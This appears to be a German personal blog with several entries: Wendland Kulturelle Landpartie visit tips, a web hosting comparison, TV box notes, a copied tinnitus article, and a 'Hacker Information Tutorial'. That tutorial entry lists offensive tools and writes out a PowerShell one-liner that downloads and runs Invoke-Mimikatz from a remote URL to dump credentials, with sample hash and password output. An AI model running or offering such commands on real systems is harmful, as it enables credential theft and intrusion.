Ein toller Tag ;-)

... soooo schön ...

Einfach nur schön ;-)

... mit meiner Isa ...

Amrum ...

... ein wahrer Traum ;-)

Mickel in Urlaub ;-)

... soooo eine tolle Erfahrung!

Montag, 10. Juni 2019

Kulturelle Landpartie

Kulturelle Landpartie - KLP & WLP ;-)

... Wunderpunkte im Wendland, Gorleben, Lüchow-Dannenberg ...


https://www.kulturelle-landpartie.de

>>> https://www.kulturelle-landpartie.de/karte.html <<< USE THIS ;-)))
(interaktive Karte mit SEHR einfacher Navigation)


 

Schöne Cafes im Wendland (auch ausserhalb der KLP)

2026 wieder 78 Wunderpunkte:



2025 wieder 87 Wunderpunkte:
 
2024 wieder 85 Wunderpunkte:

2024 mit Rad-Touren:



2023 nur noch 81 Wunderpunkte:



2019 noch 124 Wunderpunkte:

https://www.muetzingenta.de

https://wendlandpartie.de/ - Corvin/Korvin, Kussebode (Wendlandbräu!) und Pfingstmarkt Satemin - Super-WLAN im Markthof Satemin ;-)



Wunderpunkte, die wir schon besucht haben

  • T4 Mützingenta in Mützingen - Alte Ziegelei 10, 29499 Mützingen - einfach jedes Jahr ;-)
    (das ist gar kein Teil der "kulturellen Landpartie" ...)
  • T4 Pfingstmarkt Satemin - echt Klasse mit ca. 75 Kunsthandwerkern ;-)
    Bilder24 - Woabong
  • T4 Sallahn - Sallahn 7a, 29482 Küsten - nette Dinge und Mark Steinfels, leckerer Flammkuchen ...
  • T4 Weitsche 25 - Weitsche 25, 29439 Lüchow - Cafe & Essen - nette Getränke & Essen und feine Ausstellungen - alllerdings VIEL ElbWolle ... (2024 "der große Regen")
  • T4 Groß Heide 9 - Heider Chaussee 9, 29451 Gross Heide - Cafe & Essen und viele Ausstellungen Bilder24
  • T5 Diahren Dorfding - Diahren No. 7, 29496 Waddeweitz - Cafe & Essen und Ausstellungen - gut für einen Kaffee - nettes Rundlingsdorf - nicht so viel los ... Bilder24
  • T5 Salderatzen - Salderatzen 3, 29496 Waddeweitz - Cafe & Essen und viele Veranstaltungen - ganz toll & alternativ - eigene Genossenschaft mit Hotel (WLAN) - Hotelzimmer, Seminare, Retreats, einfach alles ... Bilder24
  • T7 Meuchefitz Gasthof - Meuchefitz 19, 29482 Meuchefitz - (Kollektiv)-Gasthof mit Ausstellungen und Abendveranstaltungen, weitere Infos: https://klp.meuchefitz.de - 200% alternativ ... Alter bis 40 ... interssant ab 18 Uhr ... (WLAN) Bilder24
  • T7 Lübelner Mühle - Lübelner Mühle 2, 29482 Küsten - Cafe & Essen - 2023: Kauf des großen Bienenhotels - toller Wein und Samstag Abends tolles Dinner (nur mit Voranmeldung)
  • T7 Lübeln Rundlingsmuseum - Lübeln 2, 29482 Küsten - Essen (und ggf. nur wenige Cafe) - 2022 & 2023: Goldmohn von Lichtenborner Kräutern, bisserl Schnaps, tolle alternative Dinge zum Kaufen und Essen ... (WLAN) - Rundlinge Bilder24
  • T7 Göttien Rosenhof - Göttien 26, 29482 Göttien - Cafe & Essen und viele Ausstellungen - Holz-Anhänger Isa :-) Bilder24
  • T8 Klein Breese - Klein Breese Nr. 6, 29497 Woltersdorf - 2023 - lecker vegan und einfach bei einer SEHR netten Sri Lankerin essen - https://www.sepalika.de
  • T8 Nemitz - Nemitz 15, 29494 Trebel - 2023 - toller, ruhiger Bereich zum Essen
  • Lanze - 2023 - Vortrag über Wasser - diese Dörfer waren mal Rundlingsdörfer und sind nun "super dick" und echt schön und ruhig - Seele einfach mal "baumeln lassen" ;-)

NEU für uns ...

  • T2 Klein Grabenstedt - Klein Grabenstedt 6, 29410 Salzwedel - Cafe auf urigem Bauernhof mit Ausstellungen
  • T2 Proitze 5 - Proitze 5, 29465 Schnega - Cafe & Essen und Veranstaltungen zu "Pflanzen & Garten"
  • T2 Gledeberg 1 - Gledeberg 1, 29465 Schnega - ab 19 Uhr teils interessante Veranstaltungen - ggf. für die Rückfahrt ...
  • T2 Schnega Lange Str. 21 - Lange Str. 21, 29465 Schnega - Cafe Storchenblick & Essen & Ausstellungen & Vorträge - https://www.trauerleben-wendland.com/termine/
  • T3 Prisser 69a - Uelzener Str. 69a, 29451 Prisser - Cafe & Essen und Veranstaltungen
  • T4 Tüschau 11 - Tüschau 11, 29482 Küsten - Cafe & Essen und Veranstaltungen
  • T4 Beutower Mühle - An der Beutower Mühle 7, 29439 Lüchow - Cafe & Essen und Veranstaltungen
  • T5 Püggen 16 - Püggen 16, 29487 Luckau - Essen und Ausstellungen (ohne Cafe)
  • T5 Zeetzer Mühle - Zeetze 11 (Mühle), 29487 Luckau - Cafe & Essen und Harfe
  • T5 Bülitz 31 - Bülitz 31 (13), 29487 Luckau - Cafe & Essen und viele Ausstellungen 
  • T5 Kröte - Kröte 6a, 29496 Waddeweitz - Cafe & Essen und viele Veranstaltungen - zum "schwierigen" Begriff "Heimat"
  • T7 Wustrow KURVE - Kirchstr. 14-18, 29462 Wustrow - Cafe & viele Friedensveranstaltungen
  • T7 Dolgower Wiese - Schulstrasse 5, 29462 Wustrow - Cafe & Essen und Circus um 15 Uhr
  • T7 Blütlingen - Dorfstraße 5, 29462 Wustrow OT Blütlingen - Cafe & Essen und viele Ausstellungen 
  • xxx










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Mittwoch, 22. Mai 2019

Web Hosting

Web Hosting


WebGo.host

Paket: "Profi" - 11,95 EUR

Positiv:
  • super performant!
  • SSL inklusive (Let's encrypt)
  • 100% Ökostrom
  • 16 Kunden / CPU-Kern
  • 100% SSD
  • 6 Inklusive Domains
  • RZ in Frankfurt mit DE-CIX peering
Negativ:
  • Anzahl mySQL DBs unklar
  • ... nicht ganz billig ...
Domain-Preise:
  • .de - 10,68 EUR
  • .com - 17,88 EUR
  • .org - 17,88 EUR
  • .info -21,48 EUR
  • .eu -19,80 EUR

HostEurope - Host Europe

https://www.hosteurope.de/WebHosting/
Paket: "WebHosting Medium" - 7,10 EUR

Positiv:
  • 10x mySQL DBs auf SSD

Negativ:
  • keine SSL-Zertifikate kostenlos - 5 EUR / Monat!!!
  • 0 Inklusiv-Domains

Domain-Preise:
  • .de - 11,88 EUR
  • .com - 16,68 EUR
  • .org - 16,68 EUR
  • .info -16,68 EUR
  • .eu -16,68 EUR


All-INKL.COM

https://all-inkl.com/webhosting/privatplus/
Paket: "Premium" - 9,95 EUR, 20% Rabatt bei Vorauszahlung

Positiv:
  • Dort liegen alle Domains ;-)
  • SSL inklusive (Let's encrypt)
  • 10 Inklusiv-Domains (auch non-DE)
  • Sehr günstige Domain-Preise für Zusatz-Domains
  • 50x mySQL DBs
  • 250 GB Space
  • viele ftp User
  • auch SSH-Zugang

Negativ:
  • nicht der Aller-Schnellste - siehe oben bei WebGo ;-)

Domain-Preise:
  • .de - 9,90 EUR
  • .com - 14,90 EUR
  • .org - 14,90
  • .info - 14,90
  • .eu - 14,90
Guter Vergleich:
https://www.webhosterwissen.de/webhosting/webhosting-vergleich/all-inkl-com/

( web hosting, webhosting, hosting, web-server, webserver, strato, host europe, hetzner, mysql, phpmyadmin, private homepage, home-page )



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Dienstag, 21. Mai 2019

Hacker Information Tutorial

Hacker Information (Tutorial)

Hacking-Kurse <<< wirklich günstig ... auch gut & aktuell?

Good Book ;-) 

Microsoft Empfehungen:

https://docs.microsoft.com/de-de/windows/security/identity-protection/windows-credential-theft-mitigation-guide-abstract

Introducing Managed Service Accounts:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd560633(v=ws.10)

Windows Credential Guard & Mimikatz:
https://blog.nviso.eu/2018/01/09/windows-credential-guard-mimikatz/


Useful Links ...

New Ideas of Cybercrime @ Heise:

https://www.heise.de/hintergrund/Cybercrime-Erpressung-auf-neuem-Niveau-4867430.html

Golden Ticket:
https://blog.varonis.de/kerberos-angriffe-wie-lassen-sich-golden-tickets-stoppen/

Silver Ticket:
https://www.secupedia.info/wiki/Golden_Ticket/Silver_Ticket

Recon:
     Bloodhound:

Creds Theft / Reuse:
     Mimikatz :
         https://github.com/gentilkiwi/mimikatz  *** Very good Tool!
     Rubeus:
         https://github.com/GhostPack/Rubeus  *** Very good Docu!
     SQL:

    Docu:
        https://blog.netspi.com/powerupsql-powershell-toolkit-attacking-sql-server *** Very good Docu!

     Kerberoasting:

     Passwords in Group Policy (GPP):

(Problem: Encryption is AES, but private key is well-known ...)

     PowerSploit:



Quick-Mimikatz in Action - Grab the Passwords as Hash & Clear Text ...

You just need a powershell with admin rights ;-)

https://gist.github.com/gfoss/ca6aa37f97fd400ff14f 

e.g.:
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

=>
a lot of stuff:

as hash only:
         [00000003] Primary
         * Username : NBANTON$
         * Domain   : MYDOMAIN
         * NTLM     : 1786a4eD3b8f5Cd99d594a6566f1c430
         * SHA1     : 91b6e0c077ccb007047e64d3a852326bfdbefe28

sometimes in clear text as well ...
        credman :
         [00000000]
         * Username : (null)
         * Domain   : MicrosoftOffice16_Data:SSPI:abc@IlikeYou.com
         * Password : Katze123!
         [00000001]
         * Username : abc@IlikeYou.com
         * Domain   : outlook.office365.com
         * Password : Katze123!
         [00000002]
         * Username : @@BbTAXlNm#moFSauk7a9hTPlqdZ2F
         * Domain   : Microsoft_OC1:uri=abc@IlikeYou.com:certificate:OCS:1
         * Password : (null)
         * Marshaled: [Cert] SHA1:91b6e0c077ccb007047e64d3a852326bfdbefe28
         [00000003]
         * Username : abc@IlikeYou.com
         * Domain   : autodiscover-s.outlook.com
         * Password : Katze123!

Windows Password Hacks / NTLM Hashes ...

https://null-byte.wonderhowto.com

https://null-byte.wonderhowto.com/how-to/perform-pass-hash-attack-get-system-access-windows-0196077/

http://woshub.com/how-to-get-plain-text-passwords-of-windows-users/#h2_2

https://www.der-windows-papst.de/2019/07/08/protected-users-group/

https://docs.microsoft.com/de-de/windows-server/security/credentials-protection-and-management/protected-users-security-group

https://docs.microsoft.com/de-de/security-updates/SecurityAdvisories/2014/2871997?redirectedfrom=MSDN

https://support.microsoft.com/de-de/help/2973351/microsoft-security-advisory-registry-update-to-improve-credentials-pro


https://www.semperis.com/blog/easy-hacking-active-directory-password/

https://www.der-windows-papst.de/2019/07/10/active-directory-backdoor-man-in-the-middle/

https://www.der-windows-papst.de/wp-content/uploads/2019/07/Active-Directory-Backdoor-Man-in-the-Middle.pdf

 Hacker 101 Tutorials

Hacker One

Mit Hacker 101 zum Millionär ;-)

Powershell - Mostly used tool for Trojan Horses

Office-Cracks, NTLM Hacking, WIFI, and, and and ...

https://null-byte.wonderhowto.com

Seach Engine for "open Servers" (Windows, WebCam etc.)

Shodan  @ Wikipedia 


Darknet, TOR & .onion:

http://gueldenpfennigs.blogspot.com/2019/01/darknet-tor-und-onion-tld.html


( hack, hacking, hacker, warez, gamez, 101, ccc )
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Sonntag, 12. Mai 2019

Smart TV Box und Stick

Smart TV Box und Stick

Produkte

  • Kingbox Android 9.0 TV Box K4, 70 EUR (aber 64 GB ROM)
    Kingbox Android 9.0 TV Box K4S, 65 EUR
    (aber 32 GB ROM)
    • Rockchip 3328 Quad-core Cortex-A53
    • 4 GB RAM / 32 GB ROM (64GB ROM bei K4)
    • 64 GB mit einer Micro-SD-Karte
    • Android 9.0 TV
    • 1xUSB 3.0, 2x USB 2.0
    • WLAN 2,4GHz
    • 100 MBit Ethernet LAN
    • 1 Bluetooth Headset möglich
    • 4K = ULTRA HD
  • Google’s Chromecast - https://store.google.com/de/product/chromecast_specs, 39 EUR
  • Bqeel Android TV Box Y2, 43 EUR
    • schlechtes WLAN, LAN scheint zu klappen
  • Apple TV, ca. 180EUR

Grundig Amira 32

Vergleiche

https://www.heimkinoheld.de/tv-box-test
(mit vielen guten Erklärungen!)

https://10toptest.de/vergleich/beste-smart-tv-boxen

https://www.homeandsmart.de/smart-tv-box-test-vergleich
(auch mit Apple TV)

https://www.smart-wohnen.de/entertainment/artikel/smart-tv-box-die-besten-smart-tv-boxen-im-vergleich

Amazon-Angebote

https://www.amazon.de/android-tv-box/s?k=android+tv+box

https://www.amazon.de/android-tv-box/s?k=android+tv+stick

Features

  • OS: Android TV 9, 8, 7.1, Amazon Fire OS, (Linux)
  • Bluetoth => Tastatur kann schnurlos angeschlossen werden
  • USB: USB 3.0?
  • HDMI: HDMI 2.0?
  • WLAN schnell?
  • Ethernet LAN?
  • CPU? Quadcore ...
  • RAM? 1-4GB
  • Auflösung
    • HD TV => 720 Pixel
    • Full HD TV => 1080 Pixel / H.264
    • Ultra HD TV => 2160 Pixel / H.265
  • Aufnahmefunktion?
  • Streaming Abo verpflichtend oder gehen öffentlich Rechtliche auch so?

Streaming-Dienste

  • Zatoo - kostenlos nur HD für öffentlich Rechtliche
  • Kodi
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Donnerstag, 2. Mai 2019

Planlos in ...


Planlos in ...

https://www.planlos.in

Alle aktuellen Städte:

AACHEN
BERLIN
BONN
BRÜHL
DÜSSELDORF
HAMBURG
KÖLN
NEUSS

Coole Fußgänger-Rundtour mit Handy etc. ähnlich Fahrradralley ;-)
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Mittwoch, 1. Mai 2019

Glyphosat

Glyphosat


Infos von Bayer (nicht überprüft):

https://www.hier-sind-die-fakten.de

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Montag, 29. April 2019

Tinnitus

Zehn Auslöser für Tinnitus


https://www.t-online.de/gesundheit/krankheiten-symptome/id_77254534/tinnitus-das-sind-die-wichtigsten-zehn-ausloeser.html


Zehn Auslöser für Tinnitus 

Woher das lästige Pfeifen im Ohr kommen kann
17.05.2017, 12:09 Uhr | ag


Tinnitus: Das sind die wichtigsten zehn Auslöser. Tinnitus nervt: In Ruhe werde die Geräusche besonders intensiv wahrgenommen.  (Quelle: Thinkstock by Getty-Images) Tinnitus nervt: In Ruhe werde die Geräusche besonders intensiv wahrgenommen. (Quelle: Thinkstock by Getty-Images)
Dass Tinnitus häufig in Folge von Stress auftritt, ist bekannt. Was viele jedoch nicht wissen: Das quälende Dauergeräusch im Ohr, das sich in Piepen, Pfeifen oder Summen äußert, kann auch durch Zähneknirschen, Ohrenschmalz oder Tabletten verursacht werden. Wir haben die zehn wichtigsten Tinnitus-Auslöser zusammengestellt.

Ohrgeräusche: Die häufigsten Tinnitus-Auslöser
Tinnitus: Sechs Tipps gegen lästige Ohrgeräusche
Mediziner unterscheiden zwischen objektivem und subjektivem Tinnitus. Beim objektiven Tinnitus ist das Geräusch tatsächlich im Kopf existent, und es geht oft auf eine Gefäßverengung oder einen Tumor zurück. Diese Form des Geräuschs ist äußerst selten.

In beinahe 100 Prozent der Fälle liegt die subjektive Form vor, bei der das Ohrgeräusch Ausdruck einer veränderten Hörverarbeitung ist.

Auslöser Nr. 1: Lärmschäden und Knalltrauma

Laute Musik und extremer Lärm können die Sinneszellen im Innenohr schädigen oder sogar das Trommelfell zum Platzen bringen. Das kann zu Schwerhörigkeit führen und einen Tinnitus auslösen. Auch der Knall von Feuerwerkskörpern oder eine Schädelverletzung, etwa durch einen harten Schlag auf den Kopf, kann dies bewirken. Dabei passiert Folgendes: Wenn der Hörnerv so stark geschädigt ist, dass er nur noch wenige oder keine Signale mehr bekommt, ersetzt er den fehlenden Reiz durch einen Dauerton: den Tinnitus. Dieser Mechanismus verselbstständigt sich dann im Hörzentrum und das Ohrgeräusch wird chronisch.

Auslöser Nr. 2: Verstopfter Ohrkanal

So banal es klingt: Ohrgeräusche werden manchmal ganz einfach durch einen verhärteten Pfropf aus Ohrenschmalz verursacht. Durch das Ohrenschmalz werden die Geräusche von außen gedämpft. Dabei reduziert sich nicht nur das Hörvermögen, sondern es stellen sich oft auch lästige Ohrgeräusche ein. In diesem Fall muss ein Arzt den Pfropf fachgerecht entfernen. Dann verschwindet der Tinnitus in der Regel schnell wieder.

Auslöser Nr. 3: Menière-Krankheit und Hörsturz

Lärmt der Tinnitus nur auf einem Ohr, so besteht dort häufig eine Hörstörung. Oft ist das Ohrgeräusch ein Begleitsymptom der mit Drehschwindel und Übelkeit einhergehenden Menière-Krankheit, die vermutlich durch Überdruck im Innenohr entsteht.

Tinnitus kann auch infolge eines Hörsturzes auftreten. Diesen erkennt man an einer plötzlichen Hörminderung, meist auf einem Ohr. Dazu kommen meist Töne in Ohr und Kopf, ein Druckgefühl im Ohr und auch Schwindel. Als Ursache vermuten Experten Durchblutungsstörungen. Bei den genannten Anzeichen sollten Betroffene schnellstens zum Arzt gehen. Denn nur bei frühzeitiger Behandlung kann das Hörvermögen wieder hergestellt werden und der Tinnitus wieder verschwinden.

Auslöser Nr 4: Stress und psychische Belastung

Auch wenn Stress nicht unmittelbar Tinnitus im auslöst, berichten 26 Prozent der Menschen mit chronischem Tinnitus unter starkem Druck zu stehen. Die Ohrgeräusche empfinden sie als Reaktion auf ihr seelisches Befinden. Experten gehen daher davon aus, dass psychische Faktoren häufig die Entwicklung eines Tinnitus begünstigen.

Wissenschaftler erklären das Phänomen so: Das Stresshormon Cortisol bewirkt im Ohr, dass die Substanz Glutamat in den Nervenzellen in großer Menge ausgeschüttet wird. Die Folge: Auch Kalzium wird vermehrt ausgeschüttet und schädigt so Hörsinneszellen und Nervenzellen im Ohr.

Auslöser Nr. 5: Erkältungen und Mittelohrentzündung

Bei grippalen Infekten kann es zu einem Erguss im Mittelohr kommen, der den äußeren Ohrkanal verstopft. Auf diese Weise werden die Außengeräusche gedämpft und der Tinnitus wird hörbar. Wenn die Erkältung ausgeheilt ist, werden die Ohren wieder frei und das Geräusch verschwindet von selbst.

Allerdings kann es im Fall einer heftigen Mittelohrentzündung passieren, dass Bakterien ins Innenohr gelangen und dort am Eingang zur Hörschnecke die Hörsinneszellen dauerhaft schädigen. Dann bleibt der Tinnitus bestehen.

Auslöser Nr. 6: Erkrankungen des Herz-Kreislaufsystems

Auch Krankheiten innerer Organe können einen Tinnitus verursachen. Vor allem Herz-Kreislauf-Erkrankungen spielen hierbei eine wichtige Rolle. Ohrgeräusche treten manchmal auch bei Gefäßverkalkung infolge von Durchblutungsstörungen auf und äußern sich in einem Ohrensausen.

Auslöser Nr. 7: Diabetes und Stoffwechselerkrankungen

Diabetes, Gicht oder Störungen im Fettstoffwechsel können sich auf die Durchblutung des Gehirns auswirken und ebenfalls ein unangenehmes Rauschen im Ohr verursachen. Vermutlich erhalten bei den genannten Erkrankungen die Sinneszellen im Ohr zu wenig Sauerstoff. Das wiederum beeinträchtigt die Hörfunktion und löst die Ohrgeräusche aus.

Auslöser Nr 8: Bestimmte Medikamente 

Eine Reihe von Medikamenten haben ebenfalls Nebenwirkungen, die sich auf das Hörsystem auswirken und manchmal Tinnitus hervorrufen. Hierzu gehören unter anderen bestimmte Schmerz- und Rheumamedikamente. Blutdruckmittel und Medikamente zur Behandlung von Depressionen. Allerdings sollten Betroffene, die einen Zusammenhang zwischen ihrem Tinnitus und einem verordneten Arzneimittel vermuten, das Medikament nicht ohne Rücksprache mit ihrem Arzt absetzen.

Auslöser Nr. 9: Verspannungen im Zahn-Kiefer-Bereich 

Für das permanente Ohrgeräusch können auch Verspannungen des Kiefers und der Kaumuskulatur verantwortlich sein. Wer aufgrund von Stress nachts mit den Zähnen knirscht, ist ebenfalls gefährdet. Diese andauernde Verkrampfung kann sich nämlich so auf das Innenohr auswirken, dass ein unangenehmes Pfeifgeräusch entsteht. Dabei können durch den starken Druck die feinen Haarzellen im Innenohr ähnlich geschädigt werden wie durch starken Lärm.

Akuter Tinnitus kann auch infolge einer Zahnbehandlung auftreten. Das passiert durch Überreizung bei Schmerzzuständen. Denn die Nerven der Halsmuskulatur stehen in direkter Verbindung zu den Kerngebieten des Hörnervs im Gehirn. Klingt der Schmerz nach einem Zahnarztbesuch wieder ab, verschwindet auch der Tinnitus in der Regel schnell wieder.

Auslöser Nr. 10: Halswirbelerkrankungen

Verändern sich die Ohrgeräusche bei Kopfbewegungen, ist auch an Störungen im Bereich der Halswirbelsäule zu denken. Denn zwischen den Nerven im Bereich der Halswirbelsäule und den Hörarealen im Gehirn bestehen Verbindungen. Oft liegen Abnutzungserscheinungen oder Verletzungen der Halswirbel zugrunde. Wer verspannte Nackenmuskeln hat, nimmt ebenfalls manchmal unangenehme Ohrgeräusche wahr.

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